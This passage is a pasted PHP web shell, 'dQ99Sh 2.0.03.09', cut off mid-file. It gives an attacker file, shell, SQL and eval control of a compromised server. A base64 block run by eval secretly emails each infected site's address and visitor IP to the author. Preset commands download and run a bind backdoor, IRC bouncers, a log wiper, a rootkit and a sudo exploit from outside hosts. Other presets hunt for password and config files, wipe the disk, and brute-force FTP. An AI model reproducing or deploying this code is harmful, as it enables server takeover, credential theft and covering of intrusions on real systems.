· 9 years ago · Jan 18, 2017, 08:28 PM
1<?php
2#######################################
3## r57gentr dQ99Sh 2.0.03.09 ##
4define('sh_ver',"2.0.03.09"); ##
5## By diKi ##
6## � 03-09 2008 FeeLCoMz Community ##
7## Written under PHP 5.2.5 ##
8#######################################
9$sh_name = sh_name(); ##
10#######################################
11#$sh_mainurl = "http://localhost/dQ99SH/";
12$sh_mainurl = "http://waterski211.com/bbs/config/tool/";
13#$dQ99sh_updateurl = $sh_mainurl."dQ99sh_update.php";
14$dQ99sh_sourcesurl = $sh_mainurl."readme.txt";
15$sh_sourcez = array(
16 "dQ99Sh" => array($sh_mainurl."readme.txt","kiddie.php"),
17 "psyBNC" => array($sh_mainurl."dQBNC.tar.gz","dQBNC.tar.gz"),
18 "Eggdrop" => array($sh_mainurl."allnet.tar.gz","allnet.tar.gz"),
19 "BindDoor" => array($sh_mainurl."bind.tgz","bind.tgz"),
20);
21##[ AUTHENTICATION ]##
22$auth = array(
23 "login" => "",
24 "pass" => "",
25 "md5pass" => "",
26 "hostallow" => array("*"),
27 "denied" => "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied!",
28);
29##[ END AUTHENTICATION ]##
30$curdir = "./";
31$tmpdir = "";
32$tmpdir_logs = "./";
33$log_email = "dangerover@dangerover.net"; #Email logna
34$sess_cookie = "dQ99shcook";
35$sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
36$sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies.
37$usefsbuff = TRUE;
38$copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste
39$surl_autofill_include = TRUE;
40$updatenow = FALSE;
41$gzipencode = TRUE;
42$filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses.
43$hexdump_lines = 8;
44$hexdump_rows = 24;
45$millink = milw0rm();
46$win = strtolower(substr(PHP_OS,0,3)) == "win";
47$disablefunc = getdisfunc();
48##[ END OF CONFIGS ]##
49error_reporting(E_ERROR | E_PARSE);
50@ini_set("max_execution_time",0);
51@set_time_limit(0); #No dQ in SafeMode
52@ignore_user_abort(TRUE);
53@set_magic_quotes_runtime(0);
54define("starttime",getmicrotime());
55if (get_magic_quotes_gpc()) { strips($GLOBALS); }
56$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
57@$f = $_REQUEST["f"];
58@extract($_REQUEST["dQ99shcook"]);
59foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } }
60$dQbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2
61aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RdQ0FERFIiXTsNCiAgJHdl
62YiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJF
63UVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRq
64dWR1bCAgID0gImRROTlTaGVsbCBodHRwOi8vJHRhcmdldCBzYW1hICR2aXNpdG9yIjsNCiAgJGJv
65ZHkgICAgPSAiQnVnOiAkdGFyZ2V0IHNhbWEgJHZpc2l0b3I8YnI+IjsNCiAgaWYgKCFlbXB0eSgk
66d2ViKSkgeyBAbWFpbCgiZGFuZ2Vyb3ZlckBkYW5nZXJvdmVyLm5ldCIsJGp1ZHVsLCRib2R5KTsg
67fQ0KfQ0KZWxzZSB7ICR2aXNpdGMrKzsgfQ0KQHNldGNvb2tpZSgidmlzaXR6IiwkdmlzaXRjKTs="; eval(base64_decode($dQbuff));
68if ($surl_autofill_include) {
69 $include = "&";
70 foreach (explode("&",getenv("QUERY_STRING")) as $v) {
71 $v = explode("=",$v);
72 $name = urldecode($v[0]);
73 $value = @urldecode($v[1]);
74 foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
75 if (strpos($value,$needle) === 0) {
76 $includestr .= urlencode($name)."=".urlencode($value)."&";
77 }
78 }
79 }
80}
81if (empty($surl)) {
82 $surl = "?".$includestr;
83 $surl = htmlspecialchars($surl);
84}
85## FILE TYPES ##
86$ftypes = array(
87 "html" => array("html","htm","shtml"),
88 "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
89 "exe" => array("sh","install","bat","cmd"),
90 "ini" => array("ini","inf","conf"),
91 "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
92 "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
93 "sdb" => array("sdb"),
94 "phpsess" => array("sess"),
95 "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar")
96);
97$exeftypes = array(
98 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
99 "perl %f%" => array("pl","cgi")
100);
101$regxp_highlight = array(
102 array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
103 array("\.tgz$",1,"<font color=#C082FF>","</font>"),
104 array("\.gz$",1,"<font color=#C082FF>","</font>"),
105 array("\.tar$",1,"<font color=#C082FF>","</font>"),
106 array("\.bz2$",1,"<font color=#C082FF>","</font>"),
107 array("\.zip$",1,"<font color=#C082FF>","</font>"),
108 array("\.rar$",1,"<font color=#C082FF>","</font>"),
109 array("\.php$",1,"<font color=#00FF00>","</font>"),
110 array("\.php3$",1,"<font color=#00FF00>","</font>"),
111 array("\.php4$",1,"<font color=#00FF00>","</font>"),
112 array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
113 array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
114 array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
115 array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
116 array("\.ico$",1,"<font color=#00FFFF>","</font>"),
117 array("\.gif$",1,"<font color=#00FFFF>","</font>"),
118 array("\.png$",1,"<font color=#00FFFF>","</font>"),
119 array("\.htm$",1,"<font color=#00CCFF>","</font>"),
120 array("\.html$",1,"<font color=#00CCFF>","</font>"),
121 array("\.txt$",1,"<font color=#C0C0C0>","</font>")
122);
123## QUICK COMMANDS ##
124if (!$win) {
125 $cmdaliases = array(
126 array("", "ls -al"),
127 array("Find all suid files", "find / -type f -perm -04000 -ls"),
128 array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
129 array("Find all sgid files", "find / -type f -perm -02000 -ls"),
130 array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
131 array("Find config.inc.php files", "find / -type f -name config.inc.php"),
132 array("Find config* files", "find / -type f -name \"config*\""),
133 array("Find config* files in current dir", "find . -type f -name \"config*\""),
134 array("Find all writable folders and files", "find / -perm -2 -ls"),
135 array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
136 array("Find all writable folders", "find / -type d -perm -2 -ls"),
137 array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
138 array("Find all service.pwd files", "find / -type f -name service.pwd"),
139 array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
140 array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
141 array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
142 array("Find all .bash_history files", "find / -type f -name .bash_history"),
143 array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
144 array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
145 array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
146 array("List file attributes on a Linux second extended file system", "lsattr -va"),
147 array("Show opened ports", "netstat -an | grep -i listen")
148 );
149 $cmdaliases2 = array(
150 array("wget & extract psyBNC","wget ".$sh_mainurl."dQ.tgz;tar -zxf dQ.tgz"),
151 array("wget & extract EggDrop","wget ".$sh_mainurl."dQb.tgz;tar -zxf dQb.tgz"),
152 array("-----",""),
153 array("Logged in users","w"),
154 array("Last to connect","lastlog"),
155 array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
156 array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
157 array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
158 array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
159 array("CPU Info","cat /proc/version /proc/cpuinfo"),
160 array("Is gcc installed ?","locate gcc"),
161 array("Format box (DANGEROUS)","rm -Rf"),
162 array("-----",""),
163 array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
164 array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
165 array("Run WIPELOGS PT3","./zap2"),
166 array("-----",""),
167 array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
168 array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"),
169 array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
170 );
171}
172else {
173 $cmdaliases = array(
174 array("", "dir"),
175 array("Find index.php in current dir", "dir /s /w /b index.php"),
176 array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
177 array("Find c99shell in current dir", "find /c \"c99\" *"),
178 array("Find r57shell in current dir", "find /c \"r57\" *"),
179 array("Find dQ99shell in current dir", "find /c \"dQ99\" *"),
180 array("Show active connections", "netstat -an"),
181 array("Show running services", "net start"),
182 array("User accounts", "net user"),
183 array("Show computers", "net view"),
184 );
185}
186## PHP FILESYSTEM TRICKS (By diKi) ##
187$phpfsaliases = array(
188 array("Read File", "read", 1, "File", ""),
189 array("Write File (PHP5)", "write", 2, "File","Text"),
190 array("Copy", "copy", 2, "From", "To"),
191 array("Rename/Move", "rename", 2, "File", "To"),
192 array("Delete", "delete", 1 ,"File", ""),
193 array("Make Dir","mkdir", 1, "Dir", ""),
194 array("Download", "download", 2, "URL", "To"),
195 array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"),
196 array("Change Perm (0755)", "chmod", 2, "File", "Perms"),
197 array("Find Writable Dir", "fwritabledir", 2 ,"Dir"),
198 array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"),
199);
200## QUICK LAUNCH ##
201$quicklaunch1 = array(
202 array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
203 array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),
204 array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),
205 array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
206 array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),
207 array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")
208);
209$quicklaunch2 = array(
210 array("Security Info",$surl."act=security&d=%d"),
211 array("Processes",$surl."act=processes&d=%d"),
212 array("MySQL",$surl."act=sql&d=%d"),
213 array("Eval",$surl."act=eval&d=%d"),
214 array("Encoder",$surl."act=encoder&d=%d"),
215 array("Mailer",$surl."act=dQmailer"),
216 array("milw0rm",$millink),
217 array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
218 array("Toolz",$surl."act=tools&d=%d"),
219 array("Kill-Shell",$surl."act=selfremove"),
220 array("Feedback",$surl."act=feedback"),
221 array("Update",$surl."act=update"),
222 array("About",$surl."act=about")
223);
224if (!$win) {
225 $quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d");
226}
227## HIGHLIGHT CODE ##
228$highlight_background = "#C0C0C0";
229$highlight_bg = "#FFFFFF";
230$highlight_comment = "#6A6A6A";
231$highlight_default = "#0000BB";
232$highlight_html = "#1300FF";
233$highlight_keyword = "#007700";
234$highlight_string = "#000000";
235####################
236##[ AUTHENTICATE ]##
237####################
238$tmp = array();
239foreach ($auth["hostallow"] as $k => $v) {
240 $tmp[] = str_replace("\\*",".*",preg_quote($v));
241}
242$s = "!^(".implode("|",$tmp).")$!i";
243if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
244 exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
245}
246if (!empty($auth["login"])) {
247 if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); }
248 if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) {
249 header("WWW-Authenticate: Basic realm=\"".$sh_name.": Restricted Area\"");
250 header("HTTP/1.0 401 Unauthorized");
251 die($auth["denied"]);
252 }
253}
254## END AUTHENTICATE ##
255
256if ($act != "img") {
257 $lastdir = realpath(".");
258 chdir($curdir);
259 if ($updatenow) { @ob_clean(); dQ99sh_getupdate(1); exit; }
260 $sess_data = @unserialize($_COOKIE["$sess_cookie"]);
261 if (!is_array($sess_data)) { $sess_data = array(); }
262 if (!is_array($sess_data["copy"])) { $sess_data["copy"] = array(); }
263 if (!is_array($sess_data["cut"])) { $sess_data["cut"] = array(); }
264 dQ99_buff_prepare();
265 foreach (array("sort","sql_sort") as $v) {
266 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
267 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
268 }
269 if ($sort_save) {
270 if (!empty($sort)) {setcookie("sort",$sort);}
271 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
272 }
273 if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
274 if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
275 if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
276 if (!function_exists("mysql_dump")) {
277 function mysql_dump($set) {
278 global $sh_ver;
279 $sock = $set["sock"];
280 $db = $set["db"];
281 $print = $set["print"];
282 $nl2br = $set["nl2br"];
283 $file = $set["file"];
284 $add_drop = $set["add_drop"];
285 $tabs = $set["tabs"];
286 $onlytabs = $set["onlytabs"];
287 $ret = array();
288 $ret["err"] = array();
289 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
290 if (empty($db)) {$db = "db";}
291 if (empty($print)) {$print = 0;}
292 if (empty($nl2br)) {$nl2br = 0;}
293 if (empty($add_drop)) {$add_drop = TRUE;}
294 if (empty($file)) {
295 $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
296 }
297 if (!is_array($tabs)) {$tabs = array();}
298 if (empty($add_drop)) {$add_drop = TRUE;}
299 if (sizeof($tabs) == 0) {
300 //Retrieve tables-list
301 $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
302 if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
303 }
304 $out = "
305 # Dumped by ".$sh_name."
306 #
307 # Host settings:
308 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
309 # Date: ".date("d.m.Y H:i:s")."
310 # DB: \"".$db."\"
311 #---------------------------------------------------------";
312 $c = count($onlytabs);
313 foreach($tabs as $tab) {
314 if ((in_array($tab,$onlytabs)) or (!$c)) {
315 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
316 //Receieve query for create table structure
317 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
318 if (!$res) {$ret["err"][] = mysql_smarterror();}
319 else {
320 $row = mysql_fetch_row($res);
321 $out .= $row["1"].";\n\n";
322 //Receieve table variables
323 $res = mysql_query("SELECT * FROM `$tab`", $sock);
324 if (mysql_num_rows($res) > 0) {
325 while ($row = mysql_fetch_assoc($res)) {
326 $keys = implode("`, `", array_keys($row));
327 $values = array_values($row);
328 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
329 $values = implode("', '", $values);
330 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
331 $out .= $sql;
332 }
333 }
334 }
335 }
336 }
337 $out .= "#---------------------------------------------------------------------------------\n\n";
338 if ($file) {
339 $fp = fopen($file, "w");
340 if (!$fp) {$ret["err"][] = 2;}
341 else {
342 fwrite ($fp, $out);
343 fclose ($fp);
344 }
345 }
346 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
347 return $out;
348 }
349 }
350 if (!function_exists("mysql_buildwhere")) {
351 function mysql_buildwhere($array,$sep=" and",$functs=array()) {
352 if (!is_array($array)) {$array = array();}
353 $result = "";
354 foreach($array as $k=>$v) {
355 $value = "";
356 if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
357 $value .= "'".addslashes($v)."'";
358 if (!empty($functs[$k])) {$value .= ")";}
359 $result .= "`".$k."` = ".$value.$sep;
360 }
361 $result = substr($result,0,strlen($result)-strlen($sep));
362 return $result;
363 }
364 }
365 if (!function_exists("mysql_fetch_all")) {
366 function mysql_fetch_all($query,$sock) {
367 if ($sock) {$result = mysql_query($query,$sock);}
368 else {$result = mysql_query($query);}
369 $array = array();
370 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
371 mysql_free_result($result);
372 return $array;
373 }
374 }
375 if (!function_exists("mysql_smarterror")) {
376 function mysql_smarterror($type,$sock) {
377 if ($sock) {$error = mysql_error($sock);}
378 else {$error = mysql_error();}
379 $error = htmlspecialchars($error);
380 return $error;
381 }
382 }
383 if (!function_exists("mysql_query_form")) {
384 function mysql_query_form() {
385 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
386 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
387 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
388 if ((!$submit) or ($sql_act)) {
389 echo "<table border=0><tr><td><form name=\"dQ99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
390 if ($tbl_struct) {
391 echo "<td valign=\"top\"><b>Fields:</b><br>";
392 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.dQ99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
393 echo "</td></tr></table>";
394 }
395 }
396 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
397 }
398 }
399 if (!function_exists("mysql_create_db")) {
400 function mysql_create_db($db,$sock="") {
401 $sql = "CREATE DATABASE `".addslashes($db)."`;";
402 if ($sock) {return mysql_query($sql,$sock);}
403 else {return mysql_query($sql);}
404 }
405 }
406 if (!function_exists("mysql_query_parse")) {
407 function mysql_query_parse($query) {
408 $query = trim($query);
409 $arr = explode (" ",$query);
410 $types = array(
411 "SELECT"=>array(3,1),
412 "SHOW"=>array(2,1),
413 "DELETE"=>array(1),
414 "DROP"=>array(1)
415 );
416 $result = array();
417 $op = strtoupper($arr[0]);
418 if (is_array($types[$op])) {
419 $result["propertions"] = $types[$op];
420 $result["query"] = $query;
421 if ($types[$op] == 2) {
422 foreach($arr as $k=>$v) {
423 if (strtoupper($v) == "LIMIT") {
424 $result["limit"] = $arr[$k+1];
425 $result["limit"] = explode(",",$result["limit"]);
426 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
427 unset($arr[$k],$arr[$k+1]);
428 }
429 }
430 }
431 }
432 else {return FALSE;}
433 }
434 }
435 if ($act == "gofile") {
436 if (is_dir($f)) { $act = "ls"; $d = $f; }
437 else { $act = "f"; $d = dirname($f); $f = basename($f); }
438 }
439 ## HEADERS ##
440 @ob_start();
441 @ob_implicit_flush(0);
442 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
443 header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
444 header("Cache-Control: no-store, no-cache, must-revalidate");
445 header("Cache-Control: post-check=0, pre-check=0", FALSE);
446 header("Pragma: no-cache");
447 if (empty($tmpdir)) {
448 $tmpdir = ini_get("upload_tmp_dir");
449 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
450 }
451 $tmpdir = realpath($tmpdir);
452 $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
453 if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
454 if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
455 else {$tmpdir_logs = realpath($tmpdir_logs);}
456 $sort = htmlspecialchars($sort);
457 if (empty($sort)) {$sort = $sort_default;}
458 $sort[1] = strtolower($sort[1]);
459 $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
460 if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
461 $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
462 @ini_set("highlight.bg",$highlight_bg);
463 @ini_set("highlight.comment",$highlight_comment);
464 @ini_set("highlight.default",$highlight_default);
465 @ini_set("highlight.html",$highlight_html);
466 @ini_set("highlight.keyword",$highlight_keyword);
467 @ini_set("highlight.string",$highlight_string);
468 if (!is_array($actbox)) { $actbox = array(); }
469 $dspact = $act = htmlspecialchars($act);
470 $disp_fullpath = $ls_arr = $notls = null;
471 $ud = @urlencode($d);
472 if (empty($d)) {$d = realpath(".");}
473 elseif(realpath($d)) {$d = realpath($d);}
474 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
475 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
476 $d = str_replace("\\\\","\\",$d);
477 $dispd = htmlspecialchars($d);
478 $safemode = safemode();
479 if ($safemode) {
480 $hsafemode = "<font color=#3366FF><b>SAFE MODE IS ON</b></font>";
481 $safemodeexecdir = @ini_get("safe_mode_exec_dir");
482 }
483 else { $hsafemode = "<font color=#FF9900><b>SAFE MODE IS OFF</b></font>"; }
484 $v = @ini_get("open_basedir");
485 if ($v or strtolower($v) == "on") {
486 $openbasedir = TRUE;
487 $hopenbasedir = "<font color=red>".$v."</font>";
488 }
489 else {
490 $openbasedir = FALSE;
491 $hopenbasedir = "<font color=green>OFF (not secure)</font>";
492 }
493
494##################
495##[ HTML START ]##
496##################
497function srv_info($title,$contents) {
498 echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n";
499}
500echo htmlhead($hsafemode);
501echo "<table id=pagebar>";
502echo "<tr><td colspan=2>\n";
503echo "<div class=fleft>$hsafemode</div>\n";
504echo "<div class=fright>";
505echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ".
506 "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ".
507 ($win?"Drives: ".disp_drives($d,$surl):"");
508echo "</div>\n</td></tr>\n";
509echo "<tr><td width=50%>\n";
510echo "<table class=info>\n";
511srv_info("Software","".$DISP_SERVER_SOFTWARE);
512srv_info("Uname",php_uname());
513srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : dQ99exec("id"));
514echo "</table></td>\n".
515 "<td width=50%>\n";
516echo "<table class=info>\n";
517srv_info("Freespace",disp_freespace($d));
518echo "</table></td></tr>\n";
519echo "<tr><td colspan=2>\n";
520echo get_status();
521echo "</td></tr>\n";
522echo "<tr><td colspan=2>\n";
523echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : "";
524echo showdisfunc() ? "DisFunc: ".showdisfunc()."\n" : "";
525echo "</td></tr>\n";
526echo "<tr><td colspan=2 id=mainmenu>\n";
527if (count($quicklaunch2) > 0) {
528 foreach($quicklaunch2 as $item) {
529 $item[1] = str_replace("%d",urlencode($d),$item[1]);
530 $item[1] = str_replace("%sort",$sort,$item[1]);
531 $v = realpath($d."..");
532 if (empty($v)) {
533 $a = explode(DIRECTORY_SEPARATOR,$d);
534 unset($a[count($a)-2]);
535 $v = join(DIRECTORY_SEPARATOR,$a);
536 }
537 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
538 echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
539 }
540}
541echo "</td>\n".
542 "<tr><td colspan=2 id=mainmenu>\n";
543if (count($quicklaunch1) > 0) {
544 foreach($quicklaunch1 as $item) {
545 $item[1] = str_replace("%d",urlencode($d),$item[1]);
546 $item[1] = str_replace("%sort",$sort,$item[1]);
547 $v = realpath($d."..");
548 if (empty($v)) {
549 $a = explode(DIRECTORY_SEPARATOR,$d);
550 unset($a[count($a)-2]);
551 $v = join(DIRECTORY_SEPARATOR,$a);
552 }
553 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
554 echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
555 }
556}
557echo "</td></tr>\n<tr><td colspan=2>";
558echo "<p class=fleft>\n";
559$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
560$i = 0;
561foreach($pd as $b) {
562 $t = ""; $j = 0;
563 foreach ($e as $r) {
564 $t.= $r.DIRECTORY_SEPARATOR;
565 if ($j == $i) { break; }
566 $j++;
567 }
568 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n";
569 $i++;
570}
571echo " - ";
572if (is_writable($d)) {
573 $wd = TRUE;
574 $wdt = "<font color=#00FF00>[OK]</font>";
575 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
576}
577else {
578 $wd = FALSE;
579 $wdt = "<font color=red>[Read-Only]</font>";
580 echo "<b>".view_perms_color($d)."</b>";
581}
582echo "\n</p>\n";
583?>
584<div class=fright>
585<form method="POST"><input type=hidden name=act value="ls">
586Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
587</form>
588</div>
589</td></tr></table>
590<?php
591/***********************/
592/** INFORMATION TABLE **/
593/***********************/
594echo "<table id=maininfo><tr><td width=\"100%\">\n";
595if ($act == "") { $act = $dspact = "ls"; }
596if ($act == "sql") {
597 $sql_surl = $surl."act=sql";
598 if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
599 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
600 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
601 if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
602 if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
603 $sql_surl .= "&";
604 echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".
605 "<table>".
606 "<tr><td width=\"100%\" colspan=2 class=barheader>";
607 if ($sql_server) {
608 $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
609 $err = mysql_smarterror();
610 @mysql_select_db($sql_db,$sql_sock);
611 if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
612 }
613 else {$sql_sock = FALSE;}
614 echo ".: SQL Manager :.<br>";
615 if (!$sql_sock) {
616 if (!$sql_server) {echo "NO CONNECTION";}
617 else {echo "Can't connect! ".$err;}
618 }
619 else {
620 $sqlquicklaunch = array();
621 $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
622 $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
623 $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
624 $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
